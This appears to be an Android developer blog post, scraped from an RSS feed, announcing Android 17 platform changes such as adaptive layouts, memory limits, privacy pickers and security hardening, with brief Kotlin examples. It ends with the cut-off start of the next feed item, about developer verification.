<p>Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over <a href="https://developer.android.com/blog/posts/adaptive-development-for-the-expanding-android-ecosystem">580 million large screen devices</a> in the hands of users and the <a href="https://blog.google/products-and-platforms/platforms/android/meet-googlebook/">forthcoming launch of Googlebooks</a>, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an <a href="https://developer.android.com/adaptive-apps">adaptive-first development standard</a>.</p>

<h2>No resizability/orientation restrictions on large screens</h2>
<p>To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on <a href="https://developer.android.com/guide/topics/large-screens">large screen devices</a> (sw &gt; 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on <a href="https://support.google.com/googleplay/android-developer/answer/9859673?hl=en">app category</a> in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.</p>

<h2>Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP</h2>
<p>Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:</p>
<ul>
    <li><strong>App Bubbles:</strong> Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.</li>
    <li><strong>The Bubble Bar:</strong> On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.</li>
    <li><strong>Desktop interactive PiP:</strong> In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.</li>
</ul>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s1600/Bubbles%20(1).gif"><img border="0" data-original-height="1600" data-original-width="1544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s16000/Bubbles%20(1).gif"></a></div><p><i>App Bubbles and Bubble Bar in action</i></p>

<h2>Activity recreation updates</h2>
<p>To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard">CONFIG_KEYBOARD</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard_hidden">CONFIG_KEYBOARD_HIDDEN</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_navigation">CONFIG_NAVIGATION</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_touchscreen">CONFIG_TOUCHSCREEN</a>, and <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_color_mode">CONFIG_COLOR_MODE</a>).<br>
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new <a href="https://developer.android.com/reference/kotlin/android/R.attr#recreateonconfigchanges">android:recreateOnConfigChanges</a> manifest attribute.</p>

<h2>Continue On</h2>
<p>Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s1920/Continue%20On.png"><img border="0" data-original-height="1200" data-original-width="1920" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s16000/Continue%20On.png"></a><i>Handoff Suggestion on a Tablet</i></div><p><br></p>

<pre><code>class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}</code></pre>

<h2>Go adaptive-first with Jetpack Compose</h2>
<p>To help you adapt your apps to meet the new Android 17 requirements, we've launched the <a href="https://github.com/android/skills/tree/main/jetpack-compose/adaptive">Jetpack Compose adaptive skill</a>. This AI-powered developer workflow helps you implement the best adaptive practices:</p>
<ul>
    <li><strong>Adaptive navigation:</strong> Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.</li>
    <li><strong>Multi-pane layouts:</strong> Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.</li>
    <li><strong>FlexBox &amp; Grid APIs:</strong> Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.</li>
    <li><strong>Advanced non-touch input:</strong> Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.</li>
    <li><strong>Dynamic window states:</strong> Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.</li>
</ul>

<h2>Android is Compose-first</h2>
<p>Compose offers the easiest way to build adaptive apps, and that's just one of the <a href="https://developer.android.com/develop/ui/compose/first#why-compose-first">many reasons</a> we believe that all Android UI should be built with Compose. To that end, <a href="https://developer.android.com/develop/ui/compose/first">Android development is now Compose-first</a>. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.</p>

<blockquote>
    <p><strong>TIP</strong><br>
    Ready to migrate? Use our AI-driven <a href="https://developer.android.com/develop/ui/compose/migrate/migrate-xml-views-to-jetpack-compose">XML to Compose Migration Skill</a> to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.</p>
</blockquote>

<h3>Performance &amp; efficiency</h3>
<p>App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.</p>

<h2>App memory limits</h2>
<p>Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. </p>

<p>Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:</p>
<ul>
    <li><strong>R8 Optimizer:</strong> The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer">R8 configuration analyzer</a> to make sure your app is getting the most from R8.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s2048/R8%20Configuration%20Analyzer.png"><img border="0" data-original-height="397" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s16000/R8%20Configuration%20Analyzer.png"></a></div></li></ul><div><span><u><br></u></span></div><div><span><u><br></u></span></div><div><br></div><div><br></div><div>The R8 Configuration Analyzer</div><ul><li><strong>LeakCanary in Android Studio Panda:</strong> The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.</li>
    <li><strong>ApplicationExitInfo:</strong> If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".</li>
    <li><strong>On-Device Anomaly Detection:</strong> Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.</li>
</ul>

<pre><code>val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList&lt;ProfilingTrigger&gt;().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)</code></pre>

<p>And, we're working to surface more in-field memory metrics to you within Google Play Console.</p>

<h2>Generational garbage collection</h2>
<p><a href="https://developer.android.com/about/versions">Android 17</a> introduces more frequent, less resource-intensive young-generation collections to <a href="https://developer.android.com/guide/platform#art">ART</a>'s Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.</p>

<h2>Lock-Free MessageQueue</h2>
<p>For apps targeting SDK 37 or higher, the core <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>android.os.MessageQueue</b></a> now implements a lock-free architecture, significantly reducing missed frames, improving app startup time, and radically improving the performance of busy queues in multithreaded scenarios. Note: This can break apps that use reflection on private <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> fields and methods.  The <a href="https://developer.android.com/reference/android/os/TestLooperManager#peekWhen()"><b>peekWhen</b></a> and <b><a href="https://developer.android.com/reference/android/os/TestLooperManager#poll()">poll</a> </b>APIs have been added to <a href="https://developer.android.com/reference/android/os/TestLooperManager"><b>TestLooperManager</b></a> for instrumentation testing without relying on <a href="https://developer.android.com/reference/android/os/MessageQueue"><b>MessageQueue</b></a> internals.</p>

<h2>Static final fields now truly final</h2>
<p>Starting from Android 17, apps targeting SDK 37 or higher won’t be able to modify “static final” fields, allowing the runtime to apply performance optimizations more aggressively. An attempt to do so via reflection (or deep reflection) will lead to an IllegalAccessException being thrown. Modifying them via JNI’s <b><code>SetStatic&lt;Type&gt;Field</code></b> methods family will immediately crash the application.</p>

<h2>Custom notification view restrictions</h2>
<p>To reduce memory usage we are further restricting the size of <a href="https://developer.android.com/develop/ui/views/notifications/custom-notification">custom notification views</a>. This update closes a loophole that allows apps to bypass existing limits using URIs. This behavior is gated by the target SDK version and takes effect for apps targeting API 37 and higher.</p>

<h3>Privacy &amp; Security</h3>
<p>Maintaining user trust is at the heart of the Android ecosystem. Android 17 introduces robust features that protect sensitive data while simplifying user experiences.</p>

<h2>Privacy-preserving choices</h2>
<p>Historically, apps required broad, permanent permissions to access information like contacts, precise location and media files. Android 17 continues the shift toward privacy-preserving choices that grant temporary, session-based access only to the data the user explicitly selects:</p>
<ul>
  <li><strong>System-Level Contact Picker:</strong> Utilizing <code>ACTION_PICK_CONTACTS</code>, apps can request temporary access only to specific fields (e.g., email or phone number) chosen by the user, eliminating the need for the broad <code>READ_CONTACTS</code> permission. It also fully supports work/personal profile separation.</li>
    <li><strong>Customizable Photo Picker aspect ratio:</strong> Using<b><code>PhotoPickerUiCustomizationParams</code></b>, you can customize the system photo picker to show thumbnails in portrait mode. This is perfect for apps that always display photos and videos in portrait such as video based social media apps.</li>
    <li><strong>System-rendered Location Button:</strong> A new system-rendered location button that you can embed in your app grants precise location access for the current session only.</li>
    <li><strong>EyeDropper API:</strong> A new system-level API, <code>ACTION_OPEN_EYE_DROPPER</code>, allows your app to create a system-powered eyedropper enabling the user to select color from any pixel on the display. This provides a secure, privacy-preserving color-picking experience that eliminates the need for broad, sensitive screen capture or media projection permissions.</li>
</ul>

<pre><code>val eyeDropperLauncher = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) { result -&gt;
   if (result.resultCode == Activity.RESULT_OK) {
       val color = result.data?.getIntExtra(Intent.EXTRA_COLOR, Color.BLACK)
       // Use the picked color in your app
   }
}
fun launchColorPicker() {
   val intent = Intent(Intent.ACTION_OPEN_EYE_DROPPER)
   eyeDropperLauncher.launch(intent)
}</code></pre>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/s1267/Eyedropper%20Tester.webp"><img border="0" data-original-height="713" data-original-width="1267" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8m_oR9WymjE9G26nGUCqdhS9GrBd6FXN3ujWbjq7ECD6OMGhS4xUApWkAWpPpRef7lwLhsRE2jYL9FADoF_FX2eMXD-0hp9JVaCzrDhfU8RYJ9qv-Ds9YIwyQK7yHKidW0oOtX1rpg2pG9x2yNp3UkGJDPqUlHX7hiLb-bvDue67FPZK1O-22SuXbO8I/w640-h360/Eyedropper%20Tester.webp" width="640"></a></div><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><br></h3><h3><span><span face="Arial, sans-serif"><i>Picking a color from anywhere on the screen with the system EyeDropper</i></span></span></h3><h2>Local network access</h2>
<p>Apps targeting Android 17 now either require the <code><a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network">ACCESS_LOCAL_NETWORK</a></code> runtime permission or the use of system-mediated, privacy-preserving device pickers for local network communication, such as talking to smart home devices or casting receivers. Because <code>ACCESS_LOCAL_NETWORK</code>  falls under the existing <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permission group, users who have already granted other <code><a href="https://developer.android.com/reference/android/Manifest.permission_group#NEARBY_DEVICES">NEARBY_DEVICES</a></code> permissions will not be prompted again. </p>

<h2>SMS OTP protection</h2>
<p>Android 17 expands SMS one-time-password (OTP) protection by delaying access to SMS messages for three hours:</p>
<ul>
  <li>WebOTP Format: <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">Delayed for all apps that are not the intended recipient (domain mismatch)</a>.</li>
  <li>Standard SMS OTP: <a href="https://developer.android.com/about/versions/17/behavior-changes-17#sms-otp-protection">Delayed for all apps targeting SDK 37+</a>.</li>
  <li>Exemptions: Default SMS, assistant, and connected companion apps are exempt. Apps are strongly encouraged to migrate to the <a href="https://developer.android.com/identity/sms-retriever">SMS Retriever</a> or <a href="https://developers.google.com/identity/sms-retriever/user-consent/overview">SMS User Consent APIs</a>.</li>
</ul>

<h2>Post-Quantum Cryptography (PQC)</h2>
<p>Android 17 is ready for the next generation of cryptographic security:</p>
<ul>
  <li>Keystore Integration: Supported devices can generate ML-DSA (Module-Lattice-Based Digital Signature Algorithm) keys in secure hardware to produce quantum-safe signatures, exposed via standard JCA APIs.</li>
  <li>Hybrid APK Signing: Introducing the v3.2 APK Signature Scheme, which combines classical signatures with ML-DSA signatures to secure app delivery.</li>
</ul>

<h2>Safer native dynamic code loading </h2>
If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14</a> for DEX and JAR files now extends to native libraries. All native files loaded using System.load must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError

<h2>Smarter password protection for physical inputs</h2>
<p>With Android 17, we're making it safer to enter passwords, PINs, and other secrets when using a physical keyboard by no longer showing the last typed character by default.</p>
<p>Users can still easily customize these display settings to match their preferences (availability may vary by device manufacturer).</p>
<p>These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields. </p>

<h3><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s798/Hide%20First%20Letter.gif"><img border="0" data-original-height="449" data-original-width="798" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s16000/Hide%20First%20Letter.gif"></a></div></h3><h3><br></h3><h3><br></h3><h3><br></h3><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><i><div><i>Smarter password protection for physical inputs</i></div></i><div><br></div><h2>Media and camera features that empower creators and delight users
</h2><p>Android 17 introduces new <a href="https://blog.google/products-and-platforms/platforms/android/android-17-creator-features/">creator features</a> that give access to pro-quality cameras and media, all while improving the experience for consumers.</p>

<ul>
  <li><a href="https://developer.android.com/media/platform/integrate-eclipsa-video">Eclipsa Video</a>: HDR video standard built upon the <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a> that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.</li>
  <li>RAW14 image format: New support for the <a href="https://developer.android.com/reference/kotlin/android/graphics/ImageFormat#raw14">RAW14 image format</a> provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.</li>
  <li>Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.</li>
  <li>Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.</li>
  <li><a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">Versatile Video Coding (H.266)</a>:  Enables OEMs to add codec support by defining the <a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">video/vvc</a> MIME type in <a href="https://developer.android.com/reference/android/media/MediaFormat"><code>MediaFormat</code></a>, adding new VVC profiles in <a href="https://developer.android.com/reference/android/media/MediaCodecInfo"><code>MediaCodecInfo</code></a>, and integrating support into <a href="https://developer.android.com/reference/android/media/MediaExtractor"><code>MediaExtractor</code></a>.</li>
  <li>Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.</li>
  <li>Constant Quality for Video Recording: <a href="https://developer.android.com/reference/android/media/MediaRecorder#setVideoEncodingQuality(int)"><code>SetVideoEncodingQuality</code></a> in <a href="https://developer.android.com/reference/android/media/MediaRecorder"><code>MediaRecorder</code></a> configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.</li>
</ul>

<h2>Better support for hearing aids</h2>
<ul>
  <li>Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new <a href="https://developer.android.com/reference/android/media/AudioDeviceInfo#TYPE_BLE_HEARING_AID"><code>AudioDeviceInfo.TYPE_BLE_HEARING_AID</code></a> constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.</li>
  <li>Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.</li>
</ul>

<h2>CameraX and  Media3</h2>
<p><a href="https://developer.android.com/jetpack/androidx/releases/camerax">CameraX</a> and <a href="https://developer.android.com/jetpack/androidx/releases/media3">Media3</a> have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture,  smooth media playback, and creative and complex editing experiences. </p>

<p>We've released an <a href="https://github.com/android/skills/tree/main/camera">agent skill</a> that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</p>
  
<p>Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.</p>

<h3>Get your apps, libraries, tools, and game engines ready!</h3>
<p>If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.</p>

<p>Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps <a href="https://developer.android.com/about/versions/17/behavior-changes-all">running on</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-17">targeting</a> Android 17 to focus your testing, including the following:</p>
<ul>
  <li>Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints <a href="https://developer.android.com/about/versions/17/changes/ff-restrictions-ignored">on large screens</a>.</li>
  <li>Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14 </a>for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.</li>
  <li>Enable CT by default: <a href="https://developer.android.com/privacy-and-security/security-config#CertificateTransparencySummary">Certificate transparency (CT)</a> is enabled by default. (On Android 16, CT is available but apps had to <a href="https://developer.android.com/privacy-and-security/security-config#certificateTransparency">opt in</a>.)</li>
  <li>Local network protections: Apps targeting SDK 37 or higher have <a href="https://developer.android.com/privacy-and-security/local-network-permission#android-17-enforcement">local network access blocked by default</a>. Switch to using privacy preserving pickers if possible, and use the new <a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network"><b><code>ACCESS_LOCAL_NETWORK</code></b>permission for broad, persistent access.</a></li>
  <li>Background audio hardening: Starting in Android 17, the audio framework enforces <a href="https://developer.android.com/about/versions/17/changes/bg-audio">restrictions on background audio interactions</a> including audio playback, <a href="https://developer.android.com/media/optimize/audio-focus">audio focus</a> requests, and <a href="https://developer.android.com/reference/android/media/AudioManager#adjustStreamVolume(int,%20int,%20int)">volume change</a> APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the <a href="https://developer.android.com/about/versions/17/changes/bg-audio">updated guidance</a>.</li>
  <li>NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare <a href="https://developer.android.com/reference/kotlin/android/content/pm/PackageManager#feature_neural_processing_unit">FEATURE_NEURAL_PROCESSING_UNIT</a> in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the <a href="https://ai.google.dev/edge/litert/next/npu">LiteRT NPU delegate</a>, vendor-specific SDKs, as well as the deprecated <a href="https://developer.android.com/ndk/guides/neuralnetworks">NNAPI</a>.</li>
</ul>

<h3>Get started with Android 17</h3>
<p>Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can <a href="https://developer.android.com/about/versions/17/get#on_emulator">use the 64-bit system images with the Android Emulator</a> in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.</p>
<h3>Getting the Android 17 beta on partner devices</h3>
<p>Android 17 is available in beta on handset, tablet, and foldable form factors <a href="https://developer.android.com/about/versions/17/devices">from partners</a> including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s1653/android-17-beta-partners.jpg"><img border="0" data-original-height="624" data-original-width="1653" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s16000/android-17-beta-partners.jpg"></a></div><br><h3><br></h3>

<p>For the best development experience with Android 17, we recommend that you use the latest Canary build of <a href="https://developer.android.com/studio/preview">Android Studio Quail</a>. Once you’re set up, here are some of the things you should do:</p>
<p>Test your current app for compatibility, learn whether your app is <a href="https://developer.android.com/about/versions/17/behavior-changes-all">affected by changes in Android 17</a>, and install your app onto a device or <a href="https://developer.android.com/studio/run/emulator">Android Emulator</a> running Android 17 and extensively test it.</p>

<p>Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.</p>
<p>For complete information on Android 17 please visit the <a href="https://developer.android.com/about/versions/17">Android 17 developer site</a>.</p><br><br>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android developer verification: Building a safer ecosystem together]]></title>
<description><![CDATA[Posted by Matthew Forsythe, Director Product Management, Android App SafetyJuly 15, 2026: Updated Play Console requirements for Play developersTo meet Android developer verification and updated Play Console Requirements, Play developers must register their Play apps in Play Console. While 99% of ...]]></description>
<link>https://tsecurity.de/de/3693503/android-tipps/android-developer-verification-building-a-safer-ecosystem-together/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693503/android-tipps/android-developer-verification-building-a-safer-ecosystem-together/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:33 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
